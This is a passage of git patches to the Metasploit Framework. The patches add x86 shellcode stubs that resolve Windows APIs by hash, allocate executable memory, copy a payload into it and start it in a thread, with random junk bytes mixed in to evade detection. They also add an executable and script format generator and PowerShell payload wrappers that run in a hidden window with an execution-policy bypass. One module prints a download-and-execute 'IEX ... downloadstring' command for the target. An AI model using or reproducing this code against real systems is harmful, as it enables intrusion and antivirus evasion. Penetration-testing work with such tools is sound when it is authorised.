+      test eax, eax          ; Test if no export address table is present
+      jz get_next_mod1       ; If no EAT present, process the next module
+      add eax, edx           ; Add the modules base address
+      push eax               ; Save the current modules EAT
+      mov ecx, [eax+24]      ; Get the number of function names
+      mov ebx, [eax+32]      ; Get the rva of the function names
+      add ebx, edx           ; Add the modules base address
+      ; Computing the module hash + function hash
+    get_next_func:           ;
+      test ecx, ecx          ; Changed from jecxz to accomodate the larger offset produced by random jmps below
+      jz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module
+      dec ecx                ; Decrement the function name counter
+      mov esi, [ebx+ecx*4]   ; Get rva of next module name
+      add esi, edx           ; Add the modules base address
+      xor edi, edi           ; Clear EDI which will store the hash of the function name
+      ; And compare it to the one we want
+    loop_funcname:           ;
+      xor eax, eax           ; Clear EAX
+      lodsb                  ; Read in the next byte of the ASCII function name
+      ror edi, 13            ; Rotate right our hash value
+      add edi, eax           ; Add the next byte of the name
+      cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
+      jne loop_funcname      ; If we have not reached the null terminator, continue
+      add edi, [ebp-8]       ; Add the current module hash to the function hash
+      cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
+      jnz get_next_func      ; Go compute the next function hash if we have not found it
+      ; If found, fix up stack, call the function and then value else compute the next one...
+      pop eax                ; Restore the current modules EAT
+      mov ebx, [eax+36]      ; Get the ordinal table rva
+      add ebx, edx           ; Add the modules base address
+      mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
+      mov ebx, [eax+28]      ; Get the function addresses table rva
+      add ebx, edx           ; Add the modules base address
+      mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
+      add eax, edx           ; Add the modules base address to get the functions actual VA
+      ; We now fix up the stack and perform the call to the desired function...
+    finish:
+      mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
+      pop ebx                ; Clear off the current modules hash
+      pop ebx                ; Clear off the current position in the module list
+      popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
+      pop ecx                ; Pop off the origional return address our caller will have pushed
+      pop edx                ; Pop off the hash value our caller will have pushed
+      push ecx               ; Push back the correct return value
+      jmp eax                ; Jump into the required function
+      ; We now automagically return to the correct caller...
+    get_next_mod:            ;
+      pop eax                ; Pop off the current (now the previous) modules EAT
+    get_next_mod1:           ;
+      pop edi                ; Pop off the current (now the previous) modules hash
+      pop edx                ; Restore our position in the module list
+      mov edx, [edx]         ; Get the next module
+      jmp next_mod           ; Process this module
+    ^
+
+    stub_exit = %Q^
+    ; Input: EBP must be the address of 'api_call'.
+    ; Output: None.
+    ; Clobbers: EAX, EBX, (ESP will also be modified)
+    ; Note: Execution is not expected to (successfully) continue past this block
+
+    exitfunk:
+      mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
+      push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
+      call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
+      cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
+      jl goodbye             ; Then just call the exit function...
+      cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
+      jne goodbye      ;
+      mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
+    goodbye:                 ; We now perform the actual call to the exit function
+      push byte 0            ; push the exit function parameter
+      push ebx               ; push the hash of the exit function
+      call ebp               ; call EXITFUNK( 0 );
+    ^
+
+    stub_alloc = %Q^
+      cld                    ; Clear the direction flag.
+      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+    delta:                   ;
+    #{stub_block}
+    start:                   ;
+      pop ebp                ; Pop off the address of 'api_call' for calling later.
+
+    allocate_size:
+       mov esi, #{code.length}
+
+    allocate:
+      push byte 0x40         ; PAGE_EXECUTE_READWRITE
+      push 0x1000            ; MEM_COMMIT
+      push esi               ; Push the length value of the wrapped code block
+      push byte 0            ; NULL as we dont care where the allocation is.
+      push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
+      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
+
+      mov ebx, eax           ; Store allocated address in ebx
+      mov edi, eax           ; Prepare EDI with the new address
+      mov ecx, esi           ; Prepare ECX with the length of the code
+      call get_payload
+    got_payload:
+      pop esi                ; Prepare ESI with the source to copy
+      rep movsb              ; Copy the payload to RWX memory
+      call set_handler       ; Configure error handling
+
+    exitblock:
+    #{stub_exit}
+    set_handler:
+      xor eax,eax
+      push dword [fs:eax]
+      mov dword [fs:eax], esp
+      call ebx
+      jmp exitblock
+    ^
+
+    stub_final = %Q^
+    get_payload:
+      call got_payload
+    payload:
+    ; Append an arbitrary payload here
+    ^
+
+    stub_alloc.gsub!('short', '')
+    stub_alloc.gsub!('byte', '')
+
+    wrapper = ""
+    # regs    = %W{eax ebx ecx edx esi edi ebp}
+
+    cnt_jmp = 0
+    stub_alloc.each_line do |line|
+      line.gsub!(/;.*/, '')
+      line.strip!
+      next if line.empty?
+
+      if (rand(2) == 0)
+        wrapper << "nop\n"
+      end
+
+      if(rand(2) == 0)
+        wrapper << "jmp autojump#{cnt_jmp}\n"
+        1.upto(rand(8)+8) do
+          wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
+        end
+        wrapper << "autojump#{cnt_jmp}:\n"
+        cnt_jmp += 1
+      end
+      wrapper << line + "\n"
+    end
+
+    wrapper << stub_final
+
+    enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
+    res = enc.data + code
+
+    res
+  end
+
+  # This wrapper is responsible for allocating RWX memory, copying the
+  # target code there, setting an exception handler that calls ExitProcess,
+  # starting the code in a new thread, and finally jumping back to the next
+  # code to execute. block_offset is the offset of the next code from
+  # the start of this code
+  def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
+
+    stub_block = %Q^
+    ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
+    ; Output: The return value from the API call will be in EAX.
+    ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
+    ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
+    ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
+    ; Note: This function is unable to call forwarded exports.
+
+    api_call:
+      pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
+      mov ebp, esp           ; Create a new stack frame
+      xor edx, edx           ; Zero EDX
+      mov edx, [fs:edx+48]   ; Get a pointer to the PEB
+      mov edx, [edx+12]      ; Get PEB->Ldr
+      mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
+    next_mod:                ;
+      mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
+      movzx ecx, word [edx+38] ; Set ECX to the length we want to check
+      xor edi, edi           ; Clear EDI which will store the hash of the module name
+    loop_modname:            ;
+      xor eax, eax           ; Clear EAX
+      lodsb                  ; Read in the next byte of the name
+      cmp al, 'a'            ; Some versions of Windows use lower case module names
+      jl not_lowercase       ;
+      sub al, 0x20           ; If so normalise to uppercase
+    not_lowercase:           ;
+      ror edi, 13            ; Rotate right our hash value
+      add edi, eax           ; Add the next byte of the name
+      loop loop_modname      ; Loop until we have read enough
+      ; We now have the module hash computed
+      push edx               ; Save the current position in the module list for later
+      push edi               ; Save the current module hash for later
+      ; Proceed to iterate the export address table,
+      mov edx, [edx+16]      ; Get this modules base address
+      mov eax, [edx+60]      ; Get PE header
+      add eax, edx           ; Add the modules base address
+      mov eax, [eax+120]     ; Get export tables RVA
+      test eax, eax          ; Test if no export address table is present
+      jz get_next_mod1       ; If no EAT present, process the next module
+      add eax, edx           ; Add the modules base address
+      push eax               ; Save the current modules EAT
+      mov ecx, [eax+24]      ; Get the number of function names
+      mov ebx, [eax+32]      ; Get the rva of the function names
+      add ebx, edx           ; Add the modules base address
+      ; Computing the module hash + function hash
+    get_next_func:           ;
+      jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
+      dec ecx                ; Decrement the function name counter
+      mov esi, [ebx+ecx*4]   ; Get rva of next module name
+      add esi, edx           ; Add the modules base address
+      xor edi, edi           ; Clear EDI which will store the hash of the function name
+      ; And compare it to the one we want
+    loop_funcname:           ;
+      xor eax, eax           ; Clear EAX
+      lodsb                  ; Read in the next byte of the ASCII function name
+      ror edi, 13            ; Rotate right our hash value
+      add edi, eax           ; Add the next byte of the name
+      cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
+      jne loop_funcname      ; If we have not reached the null terminator, continue
+      add edi, [ebp-8]       ; Add the current module hash to the function hash
+      cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
+      jnz get_next_func      ; Go compute the next function hash if we have not found it
+      ; If found, fix up stack, call the function and then value else compute the next one...
+      pop eax                ; Restore the current modules EAT
+      mov ebx, [eax+36]      ; Get the ordinal table rva
+      add ebx, edx           ; Add the modules base address
+      mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
+      mov ebx, [eax+28]      ; Get the function addresses table rva
+      add ebx, edx           ; Add the modules base address
+      mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
+      add eax, edx           ; Add the modules base address to get the functions actual VA
+      ; We now fix up the stack and perform the call to the desired function...
+    finish:
+      mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
+      pop ebx                ; Clear off the current modules hash
+      pop ebx                ; Clear off the current position in the module list
+      popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
+      pop ecx                ; Pop off the origional return address our caller will have pushed
+      pop edx                ; Pop off the hash value our caller will have pushed
+      push ecx               ; Push back the correct return value
+      jmp eax                ; Jump into the required function
+      ; We now automagically return to the correct caller...
+    get_next_mod:            ;
+      pop eax                ; Pop off the current (now the previous) modules EAT
+    get_next_mod1:           ;
+      pop edi                ; Pop off the current (now the previous) modules hash
+      pop edx                ; Restore our position in the module list
+      mov edx, [edx]         ; Get the next module
+      jmp next_mod           ; Process this module
+    ^
+
+    stub_exit = %Q^
+    ; Input: EBP must be the address of 'api_call'.
+    ; Output: None.
+    ; Clobbers: EAX, EBX, (ESP will also be modified)
+    ; Note: Execution is not expected to (successfully) continue past this block
+
+    exitfunk:
+      mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
+      push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
+      call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
+      cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
+      jl goodbye       ; Then just call the exit function...
+      cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
+      jne goodbye      ;
+      mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
+    goodbye:                 ; We now perform the actual call to the exit function
+      push byte 0            ; push the exit function parameter
+      push ebx               ; push the hash of the exit function
+      call ebp               ; call EXITFUNK( 0 );
+    ^
+
+    stub_alloc = %Q^
+      pushad                 ; Save registers
+      cld                    ; Clear the direction flag.
+      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+    delta:                   ;
+    #{stub_block}
+    start:                   ;
+      pop ebp                ; Pop off the address of 'api_call' for calling later.
+
+    allocate_size:
+       mov esi,#{code.length}
+
+    allocate:
+      push byte 0x40         ; PAGE_EXECUTE_READWRITE
+      push 0x1000            ; MEM_COMMIT
+      push esi               ; Push the length value of the wrapped code block
+      push byte 0            ; NULL as we dont care where the allocation is.
+      push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
+      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
+
+      mov ebx, eax           ; Store allocated address in ebx
+      mov edi, eax           ; Prepare EDI with the new address
+      mov ecx, esi           ; Prepare ECX with the length of the code
+      call get_payload
+    got_payload:
+      pop esi                ; Prepare ESI with the source to copy
+      rep movsb              ; Copy the payload to RWX memory
+      call set_handler       ; Configure error handling
+
+    exitblock:
+    #{stub_exit}
+
+    set_handler:
+      xor eax,eax
+;		  push dword [fs:eax]
+;		  mov dword [fs:eax], esp
+      push eax               ; LPDWORD lpThreadId (NULL)
+      push eax               ; DWORD dwCreationFlags (0)
+      push eax               ; LPVOID lpParameter (NULL)
+      push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
+      push eax               ; SIZE_T dwStackSize (0 for default)
+      push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
+      push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
+      call ebp               ; Spawn payload thread
+
+      pop eax                ; Skip
+;		  pop eax                ; Skip
+      pop eax                ; Skip
+      popad                  ; Get our registers back
+;		  sub esp, 44             ; Move stack pointer back past the handler
+    ^
+
+    stub_final = %Q^
+    get_payload:
+      call got_payload
+    payload:
+    ; Append an arbitrary payload here
+    ^
+
+
+    stub_alloc.gsub!('short', '')
+    stub_alloc.gsub!('byte', '')
+
+    wrapper = ""
+    # regs    = %W{eax ebx ecx edx esi edi ebp}
+
+    cnt_jmp = 0
+    cnt_nop = 64
+
+    stub_alloc.each_line do |line|
+      line.gsub!(/;.*/, '')
+      line.strip!
+      next if line.empty?
+
+      if (cnt_nop > 0 and rand(4) == 0)
+        wrapper << "nop\n"
+        cnt_nop -= 1
+      end
+
+      if(cnt_nop > 0 and rand(16) == 0)
+        cnt_nop -= 2
+        cnt_jmp += 1
+
+        wrapper << "jmp autojump#{cnt_jmp}\n"
+        1.upto(rand(8)+1) do
+          wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
+          cnt_nop -= 1
+        end
+        wrapper << "autojump#{cnt_jmp}:\n"
+      end
+      wrapper << line + "\n"
+    end
+
+    #someone who knows how to use metasm please explain the right way to do this.
+    wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
+    wrapper << stub_final
+
+    enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
+    soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
+    res = enc.data + code
+
+    if which_offset == 'start'
+      res[soff,4] = [block_offset - (soff + 4)].pack('V')
+    elsif which_offset == 'end'
+      res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
+    else
+      raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
+    end
+    res
+  end
+
+
+  #
+  # Generate an executable of a given format suitable for running on the
+  # architecture/platform pair.
+  #
+  # This routine is shared between msfencode, rpc, and payload modules (use
+  # <payload>)
+  #
+  # @param framework [Framework]
+  # @param arch [String] Architecture for the target format; one of the ARCH_*
+  # constants
+  # @param plat [#index] platform
+  # @param code [String] The shellcode for the resulting executable to run
+  # @param fmt [String] One of the executable formats as defined in
+  #   {.to_executable_fmt_formats}
+  # @param exeopts [Hash] Passed directly to the approrpriate method for
+  #   generating an executable for the given +arch+/+plat+ pair.
+  # @return [String] An executable appropriate for the given
+  #   architecture/platform pair.
+  # @return [nil] If the format is unrecognized or the arch and plat don't
+  #   make sense together.
+  def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
+    # For backwards compatibility with the way this gets called when
+    # generating from Msf::Simple::Payload.generate_simple
+    if arch.kind_of? Array
+      output = nil
+      arch.each do |a|
+        output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
+        break if output
+      end
+      return output
+    end
+
+    case fmt
+    when 'asp'
+      exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      output = Msf::Util::EXE.to_exe_asp(exe, exeopts)
+
+    when 'aspx'
+      exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      output = Msf::Util::EXE.to_exe_aspx(exe, exeopts)
+
+    when 'dll'
+      output = case arch
+        when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts)
+        when ARCH_X86_64  then to_win64pe_dll(framework, code, exeopts)
+        when ARCH_X64     then to_win64pe_dll(framework, code, exeopts)
+        end
+    when 'exe'
+      output = case arch
+        when ARCH_X86,nil then to_win32pe(framework, code, exeopts)
+        when ARCH_X86_64  then to_win64pe(framework, code, exeopts)
+        when ARCH_X64     then to_win64pe(framework, code, exeopts)
+        end
+
+    when 'exe-service'
+      output = case arch
+        when ARCH_X86,nil then to_win32pe_service(framework, code, exeopts)
+        when ARCH_X86_64  then to_win64pe_service(framework, code, exeopts)
+        when ARCH_X64     then to_win64pe_service(framework, code, exeopts)
+      end
+
+    when 'exe-small'
+      output = case arch
+        when ARCH_X86,nil then to_win32pe_old(framework, code, exeopts)
+        end
+
+    when 'exe-only'
+      output = case arch
+        when ARCH_X86,nil then to_winpe_only(framework, code, exeopts, arch)
+        when ARCH_X86_64  then to_winpe_only(framework, code, exeopts, arch)
+        when ARCH_X64     then to_winpe_only(framework, code, exeopts, arch)
+        end
+
+    when 'elf'
+      if (not plat or (plat.index(Msf::Module::Platform::Linux)))
+        output = case arch
+          when ARCH_X86,nil then to_linux_x86_elf(framework, code, exeopts)
+          when ARCH_X86_64  then to_linux_x64_elf(framework, code, exeopts)
+          when ARCH_X64     then to_linux_x64_elf(framework, code, exeopts)
+          when ARCH_ARMLE   then to_linux_armle_elf(framework, code, exeopts)
+          when ARCH_MIPSBE  then to_linux_mipsbe_elf(framework, code, exeopts)
+          when ARCH_MIPSLE  then to_linux_mipsle_elf(framework, code, exeopts)
+          end
+      elsif(plat and (plat.index(Msf::Module::Platform::BSD)))
+        output = case arch
+          when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
+          end
+      elsif(plat and (plat.index(Msf::Module::Platform::Solaris)))
+        output = case arch
+          when ARCH_X86,nil then to_solaris_x86_elf(framework, code, exeopts)
+          end
+      end
+
+    when 'macho'
+      output = case arch
+        when ARCH_X86,nil then to_osx_x86_macho(framework, code, exeopts)
+        when ARCH_X86_64  then to_osx_x64_macho(framework, code, exeopts)
+        when ARCH_X64     then to_osx_x64_macho(framework, code, exeopts)
+        when ARCH_ARMLE   then to_osx_arm_macho(framework, code, exeopts)
+        when ARCH_PPC     then to_osx_ppc_macho(framework, code, exeopts)
+        end
+
+    when 'vba'
+      output = Msf::Util::EXE.to_vba(framework, code, exeopts)
+
+    when 'vba-exe'
+      exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      output = Msf::Util::EXE.to_exe_vba(exe)
+
+    when 'vbs'
+      exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
+
+    when 'loop-vbs'
+      exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe', exeopts)
+      output = Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
+
+    when 'war'
+      arch ||= [ ARCH_X86 ]
+      tmp_plat = plat.platforms if plat
+      tmp_plat ||= Msf::Module::PlatformList.transform('win')
+      exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
+      output = Msf::Util::EXE.to_jsp_war(exe)
+
+    when 'psh'
+      output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
+
+    when 'psh-net'
+      output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
+
+    end
+
+    output
+  end
+
+  def self.to_executable_fmt_formats
+    [
+      'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe',
+      'vbs','loop-vbs','asp','aspx','war','psh','psh-net'
+    ]
+  end
+
+  #
+  # EICAR Canary: https://www.metasploit.com/redmine/projects/framework/wiki/EICAR
+  #
+  def self.is_eicar_corrupted?
+    path = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "..", "..", "data", "eicar.com"))
+    return true if not ::File.exists?(path)
+
+    begin
+      data = ::File.read(path)
+      if Digest::SHA1.hexdigest(data) != "3395856ce81f2b7382dee72602f798b642f14140"
+        return true
+      end
+
+    rescue ::Exception
+      return true
+    end
+
+    false
+  end
 
 end
 end
 end
+

From b4d1fd6ff83e88e6844726a981023aab9f048cfd Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 13 Sep 2013 21:15:28 +0100
Subject: [PATCH 015/108] Fixup rex text

---
 lib/rex/exploitation/powershell.rb | 4 +++-
 lib/rex/text.rb                    | 3 ++-
 2 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index 7bb85d253887..d8e2211f441d 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -379,7 +379,9 @@ def initialize(code)
     # Convert binary to byte array, read from file if able
     #
     def self.to_byte_array(input_data,var_name="buf")
-      code = code.unpack('C*')
+      return "[Byte[]]$#{name} = ''" if input_data.nil? or input_data.empty?
+
+      code = input_data.unpack('C*')
       psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
       lines = []
       1.upto(code.length-1) do |byte|
diff --git a/lib/rex/text.rb b/lib/rex/text.rb
index 84168a7f09b6..bcb8bbfdef11 100644
--- a/lib/rex/text.rb
+++ b/lib/rex/text.rb
@@ -3,6 +3,7 @@
 require 'digest/sha1'
 require 'stringio'
 require 'cgi'
+require 'rex/exploitation/powershell'
 
 %W{ iconv zlib }.each do |libname|
   begin
@@ -202,7 +203,7 @@ def self.to_java(str, name = "shell")
   # Converts a raw string to a powershell byte array
   #
   def self.to_powershell(str, name = "buf")
-    return Rex::Exploitation::Powershell.to_byte_array(str, name)
+    return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
   end
 
   #

From 60328d5b2add13deabd28ea450d3befd40200c93 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 13 Sep 2013 21:22:15 +0100
Subject: [PATCH 016/108] Bypass no profile and hidden by default

---
 lib/msf/core/exploit/powershell.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index dffb9da0a40e..b1444680e799 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -80,7 +80,7 @@ def compress_script(script_in, eof = nil)
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = "-e #{ compress_script(ps_code) }"
+    ps_args = "-w hidden -nop -ep bypass -e #{ compress_script(ps_code) }"
 
     ps_wrapper = <<EOS
 $si=New-Object System.Diagnostics.ProcessStartInfo
@@ -119,7 +119,7 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['
     # Wrap in hidden runtime
     psh_payload = run_hidden_psh(psh_payload,ps_bin)
     # Convert to base64 for -encodedcommand execution
-    command = "%COMSPEC% /B /C start /min powershell.exe -c #{psh_payload}\r\n"
+    command = "%COMSPEC% /B /C start /min powershell.exe -w hidden -nop -ep bypass -c #{psh_payload}\r\n"
   end
 
 

From d6f2da690aa21186db4268716e389ce1a9550978 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 13 Sep 2013 21:27:59 +0100
Subject: [PATCH 017/108] Fix web delivery

---
 modules/exploits/windows/misc/psh_web_delivery.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/windows/misc/psh_web_delivery.rb b/modules/exploits/windows/misc/psh_web_delivery.rb
index 08d679c2b9e5..3514de3589c7 100644
--- a/modules/exploits/windows/misc/psh_web_delivery.rb
+++ b/modules/exploits/windows/misc/psh_web_delivery.rb
@@ -58,7 +58,7 @@ def primer
     url = get_uri()
     download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
     print_status("Run the following command on the target machine:")
-    print_line("powershell.exe -w hidden -nop -ep bypass -c #{download_and_run})
+    print_line("powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}")
   end
 end
 

From 9aca98a9d4f7144e71afcb83549f06e85a4a69ac Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Tue, 17 Sep 2013 19:12:49 +0100
Subject: [PATCH 018/108] Dont need to bypass

---
 lib/msf/core/exploit/powershell.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index b1444680e799..7ac22050a32d 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -80,7 +80,7 @@ def compress_script(script_in, eof = nil)
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = "-w hidden -nop -ep bypass -e #{ compress_script(ps_code) }"
+    ps_args = "-w hidden -nop -e #{ compress_script(ps_code) }"
 
     ps_wrapper = <<EOS
 $si=New-Object System.Diagnostics.ProcessStartInfo
@@ -119,7 +119,7 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['
     # Wrap in hidden runtime
     psh_payload = run_hidden_psh(psh_payload,ps_bin)
     # Convert to base64 for -encodedcommand execution
-    command = "%COMSPEC% /B /C start /min powershell.exe -w hidden -nop -ep bypass -c #{psh_payload}\r\n"
+    command = "%COMSPEC% /B /C start /min powershell.exe -nop -c #{psh_payload}\r\n"
   end
 
 

From 5add142789339c3b400b1e1200f2753d13a34ee1 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 20 Sep 2013 13:47:51 +0100
Subject: [PATCH 019/108] Choose smallest smallest

---
 lib/msf/core/exploit/powershell.rb | 32 +++++++++++++++++++++++++++---
 lib/rex/exploitation/powershell.rb | 13 +++++++++++-
 2 files changed, 41 insertions(+), 4 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 7ac22050a32d..1a4a3b66f155 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -61,6 +61,20 @@ def process_subs(subs)
     return new_subs
   end
 
+  #
+  # Return an encoded powershell script
+  # Will invoke PSH modifiers as enabled
+  #
+  def encode_script(script_in, eof = nil)
+    # Build script object
+    psh = PshScript.new(script_in)
+    # Invoke enabled modifiers
+    datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
+      mod_method = k.split('::').last.intern
+      psh.send(mod_method)
+    end
+    return psh.encode_code(eof)
+  end
   #
   # Return a gzip compressed powershell script
   # Will invoke PSH modifiers as enabled
@@ -80,7 +94,7 @@ def compress_script(script_in, eof = nil)
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = "-w hidden -nop -e #{ compress_script(ps_code) }"
+    ps_args = "-w hidden -nop -e #{ps_code}"
 
     ps_wrapper = <<EOS
 $si=New-Object System.Diagnostics.ProcessStartInfo
@@ -116,10 +130,22 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['
     end
     # Determine appropriate architecture, manual method reduces script size
 		ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\''
+
+
+    compressed = compress_script(psh_payload)
+    encoded = encode_script(psh_payload)
+
+    if (encoded.length <= compressed.length)
+      smallest_payload = encoded
+    else
+      smallest_payload = compressed
+    end
+
     # Wrap in hidden runtime
-    psh_payload = run_hidden_psh(psh_payload,ps_bin)
+    final_payload = run_hidden_psh(smallest_payload,ps_bin)
+
     # Convert to base64 for -encodedcommand execution
-    command = "%COMSPEC% /B /C start /min powershell.exe -nop -c #{psh_payload}\r\n"
+    command = "%COMSPEC% /B /C start /min powershell.exe -nop -c #{final_payload}\r\n"
   end
 
 
diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb
index d8e2211f441d..195834538d45 100644
--- a/lib/rex/exploitation/powershell.rb
+++ b/lib/rex/exploitation/powershell.rb
@@ -28,7 +28,18 @@ def to_s_lineno
 			end
 			return numbered
 		end
+    #
+    # Return a Base64 encoded powershell code
+    #
+    def encode_code(eof = nil)
+      # Convert expression to unicode
+      unicode_expression = Rex::Text.to_unicode(code)
 
+      # Base64 encode the unicode expression
+      @code = Rex::Text.encode_base64(unicode_expression)
+
+      return code
+    end
 		#
 		# Return a zlib compressed powershell code
 		#
@@ -44,7 +55,7 @@ def compress_code(eof = nil)
 			psh_expression =  "$stream = New-Object IO.MemoryStream(,"
 			psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
 			# Uncompress and invoke the expression (execute)
-			psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
+			psh_expression << "$(IEX $(New-Object IO.StreamReader("
 			psh_expression << "$(New-Object IO.Compression.GzipStream("
 			psh_expression << "$stream,"
 			psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"

From 971d0b7536cd9102443243b1c7db808b1cab340f Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 27 Sep 2013 12:45:48 +0100
Subject: [PATCH 020/108] Generate args

---
 lib/msf/core/exploit/powershell.rb            | 91 ++++++++++++++++++-
 .../exploits/windows/misc/psh_web_delivery.rb |  8 +-
 2 files changed, 94 insertions(+), 5 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 1a4a3b66f155..a9c95f1fb3e0 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -75,6 +75,7 @@ def encode_script(script_in, eof = nil)
     end
